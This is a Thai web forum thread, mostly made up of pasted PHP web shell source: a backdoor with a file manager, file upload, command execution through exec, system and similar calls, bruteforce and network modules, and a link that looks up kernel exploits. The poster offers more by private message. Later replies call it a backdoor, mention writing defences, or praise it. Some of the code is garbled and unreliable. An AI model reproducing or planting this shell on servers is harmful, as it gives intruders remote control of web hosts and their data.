if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;

if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;

}

function g(a,c,p1,p2,p3,charset) {

set(a,c,p1,p2,p3,charset);

d.mf.submit();

}

function a(a,c,p1,p2,p3,charset) {

set(a,c,p1,p2,p3,charset);

var params = 'ajax=true';

for(i=0;i<d.mf.elements.length;i  )

params  = '&' d.mf.elements[i].name '=' encodeURIComponent(d.mf.elements[i].value);

sr('" 
addslashes($_SERVER['REQUEST_URI']) ."', params);

}

function sr(url, params) {

if (window.XMLHttpRequest)

req = new XMLHttpRequest();

else if (window.ActiveXObject)

req = new ActiveXObject('Microsoft.XMLHTTP');

        if (req) {

            req.onreadystatechange = processReqChange;

            req.open('POST', url, true);

            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');

            req.send(params);

        }

}

function processReqChange() {

if( (req.readyState == 4) )

if(req.status == 200) {

var reg = new RegExp("
()([Ss]*)", 'm');

var arr=reg.exec(req.responseText);

eval(arr[2].substr(0, arr[1]));

} else alert('Request error!');

}

</script>

<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>

<form method=post name=mf style='display:none;'>

<input type=hidden name=a>

<input type=hidden name=c>

<input type=hidden name=p1>

<input type=hidden name=p2>

<input type=hidden name=p3>

<input type=hidden name=charset>

</form>"
;

$freeSpace = @diskfreespace($GLOBALS['cwd']);

$totalSpace = @disk_total_space($GLOBALS['cwd']);

$totalSpace $totalSpace?$totalSpace:1;

$release = @php_uname('r');

$kernel = @php_uname('s');

$explink 'http://exploit-db.com/list.php?description=';

if(strpos('Linux'$kernel) !== false)

$explink .= urlencode('Linux Kernel ' substr($release,0,6));

else

$explink .= urlencode($kernel ' ' substr($release,0,3));

if(!function_exists('posix_getegid')) {

$user = @get_current_user();

$uid = @getmyuid();

$gid = @getmygid();

$group "?";

} else {

$uid = @posix_getpwuid(posix_geteuid());

$gid = @posix_getgrgid(posix_getegid());

$user $uid['name'];

$uid $uid['uid'];

$group $gid['name'];

$gid $gid['gid'];

}



$cwd_links '';

$path explode("/"$GLOBALS['cwd']);

$n=count($path);

for($i=0$i<$n-1$i  ) {

$cwd_links .= "<a href='#' onclick='g("FilesMan","";

for(
$j=0; $j<=$i$j  )

$cwd_links .= $path[$j].'/';

$cwd_links .= "")'>".$path[$i]."/</a>";

}



$charsets = array('UTF-8''Windows-1251''KOI8-R''KOI8-U''cp866');

$opt_charsets '';

foreach($charsets as $item)

$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';



$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');

if(!empty($GLOBALS['auth_pass']))

$m['Logout'] = 'Logout';

$m['Self remove'] = 'SelfRemove';

$menu '';

foreach($m as $k => $v)

$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(''.$v.'',null,'','','')">'.$k.'</a> ]</th>';



$drives "";

if($GLOBALS['os'] == 'win') {

foreach(range('c','z') as $drive)

if(is_dir($drive.':'))

$drives .= '<a href="#" onclick="g('FilesMan',''.$drive.':/')">[ '.$drive.' ]</a> ';

}

echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'

       
'<td><nobr>' substr(@php_uname(), 0120) . ' <a href="' $explink '" target=_blank>[exploit-db.com]</a></nobr><br>' $uid ' ( ' $user ' ) <span>Group:</span> ' $gid ' ( ' $group ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')

       . 
' <a href=# onclick="g('Php',null,'','info')">[ phpinfo ]</a> <span>Datetime:</span> ' date('Y-m-d H:i:s') . '<br>' BOFFViewSize($totalSpace) . ' <span>Free:</span> ' BOFFViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' $cwd_links ' 'BOFFPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g('FilesMan','' . $GLOBALS['home_cwd'] . '','','','')">[ home ]</a><br>' $drives '</td>'

       
'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' $opt_charsets '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'

       
'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' $menu '</tr></table><div style="margin:5">';

}



function 
BOFFFooter() {

$is_writable is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";

    echo 
"

</div>

<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>

<tr>

<td><form onsubmit='g(null,this.c.value,"");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" 
htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>

<td><form onsubmit="
g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>

</tr><tr>

<td><form onsubmit="
g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>

<td><form onsubmit="
g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>

</tr><tr>

<td><form onsubmit="
g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>

<td><form method='post' ENCTYPE='multipart/form-data'>

<input type=hidden name=a value='FilesMAn'>

<input type=hidden name=c value='" 
$GLOBALS['cwd'] ."'>

<input type=hidden name=p1 value='uploadFile'>

<input type=hidden name=charset value='" 
. (isset($_POST['charset'])?$_POST['charset']:'') . "'>

<span>Upload file:</span>
$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>

</tr></table></div></body></html>"
;

}



if (!
function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {

    function 
posix_getpwuid($p) {return false;} }

if (!
function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {

    function 
posix_getgrgid($p) {return false;} }



function 
BOFFEx($in) {

$out '';

if (function_exists('exec')) {

@exec($in,$out);

$out = @join("n",$out);

} elseif (function_exists('passthru')) {

ob_start();

@passthru($in);

$out ob_get_clean();

} elseif (function_exists('system')) {

ob_start();

@system($in);

$out ob_get_clean();

} elseif (function_exists('shell_exec')) {

$out shell_exec($in);

} elseif (is_resource($f = @popen($in,"r"))) {

$out "";

while(!@feof($f))

$out .= fread($f,1024);

pclose($f);

}

return $out;

}

function 
BOFFViewSize($s) {

if($s >= 1073741824)

return sprintf('%1.2f'$s 1073741824 ). ' GB';

elseif($s >= 1048576)

return sprintf('%1.2f'$s 1048576 ) . ' MB';

elseif($s >= 1024)

return sprintf('%1.2f'$s 1024 ) . ' KB';

else

return $s ' B';

}






ยังไม่หมดสนใจ PM มาครับ

ปล. โดน ประจำ จนจำได้หมดแล้ว ทั้งๆที่ไม่เคยรู้เรื่อง Programming
« แก้ไขครั้งสุดท้าย: 03 เมษายน 2011, 22:00:41 โดย luxx » บันทึกการเข้า

mayaseven
Newbie
*

พลังน้ำใจ: 35
ออฟไลน์ ออฟไลน์

กระทู้: 25



ดูรายละเอียด เว็บไซต์
« ตอบ #13 เมื่อ: 03 เมษายน 2011, 22:32:05 »

@luxx
อันนี้คือ phpshell ครับซึ่งจะใช้โจมตีในส่วนของ Webapp หรือ webserver ที่เปิด port 80 ซึ่งจะพูดให้เข้าใจง่าย มันคือ phpbackdoor แต่สามารถ config ป้องกันได้ครับผมกำลังจะเขียนในส่วนการป้องกัน phpshell อยู่เหมือนกัน ^^
บันทึกการเข้า
atikanzaa
เจ้าพ่อบอร์ดเสียว
*

พลังน้ำใจ: 245
ออฟไลน์ ออฟไลน์

กระทู้: 3,452



ดูรายละเอียด
« ตอบ #14 เมื่อ: 03 เมษายน 2011, 22:42:30 »

 wanwan009 ถ้าโดนเข้าไปหนาวเลย wanwan035
บันทึกการเข้า

Meen2007
สมุนแก๊งเสียว
*

พลังน้ำใจ: 123
ออฟไลน์ ออฟไลน์

กระทู้: 573



ดูรายละเอียด เว็บไซต์
« ตอบ #15 เมื่อ: 03 เมษายน 2011, 23:42:05 »

แจ่มมาก แต่เรายังไม่ถึงขั้นที่จะเข้าใจได้  wanwan004
บันทึกการเข้า

SearchMarketing
เจ้าพ่อบอร์ดเสียว
*

พลังน้ำใจ: 522
ออฟไลน์ ออฟไลน์

กระทู้: 6,613



ดูรายละเอียด
« ตอบ #16 เมื่อ: 04 เมษายน 2011, 00:07:55 »

เทพเกินจินตนาการ
บันทึกการเข้า
G
ก๊วนเสียว
*

พลังน้ำใจ: 29
ออฟไลน์ ออฟไลน์

กระทู้: 443



ดูรายละเอียด เว็บไซต์
« ตอบ #17 เมื่อ: 04 เมษายน 2011, 00:40:16 »

ขอถาม จขกท. หน่อยครับว่าทำยังไงเว็บผมถึงจะเข้าได้เร็วขึ้นครับผม
บันทึกการเข้า

สมาชิกเว็บบอลธรรมดาคนหนึ่ง กำลังจะมีเว็บบอลเป็นของตัวเองแล้วครับผม...ขอขอบคุณแรงบันดาลใจจาก100เว็บทีเด็ดฟุตบอลทั่วโลกมา ณ ที่นี้ครับผม(LIVE AROUND THE WORLD หมอนี่มันบ้าไปแล้วLIVEอยู่ได้ทั้งวัน-ทั้งคืน!! LIVEอะราวเดอะเวิร์ลจริงๆ)
http://www.youtube.com/watch?v...aeM3GlHlNs&feature=related
ครึ่งควบลูก!
Verified Seller
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 487
ออฟไลน์ ออฟไลน์

กระทู้: 1,161



ดูรายละเอียด
« ตอบ #18 เมื่อ: 04 เมษายน 2011, 00:43:54 »

ขอถาม จขกท. หน่อยครับว่าทำยังไงเว็บผมถึงจะเข้าได้เร็วขึ้นครับผม
wanwan001
บันทึกการเข้า

lucationjj
สมุนแก๊งเสียว
*

พลังน้ำใจ: 46
ออฟไลน์ ออฟไลน์

กระทู้: 888



ดูรายละเอียด
« ตอบ #19 เมื่อ: 04 เมษายน 2011, 00:45:05 »

ขอถาม จขกท. หน่อยครับว่าทำยังไงเว็บผมถึงจะเข้าได้เร็วขึ้นครับผม
wanwan001

พี่เท่ง ไปกินตับ ป่ะครับ wanwan001
บันทึกการเข้า


วันนี้มี ไม่มีบล็อก index แล้ว
หน้า: [1] 2 3   ขึ้นบน
พิมพ์